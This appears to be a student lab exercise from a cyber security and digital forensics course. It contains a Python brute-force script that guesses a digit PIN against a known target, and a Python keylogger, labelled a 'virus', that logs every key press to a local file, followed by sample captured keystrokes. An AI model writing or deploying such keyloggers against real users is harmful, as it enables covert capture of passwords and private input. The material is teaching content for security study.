

Cyber security and Digital Forensics

Practical4 _ Implement A brute Force attack and a virus

1. Implement a brute force attack using java / python

```
bruteforce.py

1 import itertools
2
3 def brute_force_password(target_password):
4     digits = '0123456789'
5     for length in range(1, len(target_password) + 1):
6         for guess in itertools.product(digits, repeat=length):
7             guess_password = ''.join(guess)
8             if guess_password == target_password:
9                 return guess_password
10    return None
11
12 target = '9234'
13 found_password = brute_force_password(target)
14 if found_password:
15     print("Password found: ", found_password)
16 else:
17     print("Password not found.")
18
```

```
(kali@kali)-[~/Desktop]
$ python bruteforce.py
('Password found: ', '9234')
```

2. Implement a virus using java / python

```
import keyboard

log_file = 'keystrokes.txt'

def on_key_press(event):
    with open(log_file, 'a') as f:
        f.write('{}\n'.format(event.name))

keyboard.on_press(on_key_press)

keyboard.wait()
```

```
alt
tab
s
d
g
j
o
alt
tab
alt
tab
ctrl
c
ctrl
c
c
c
```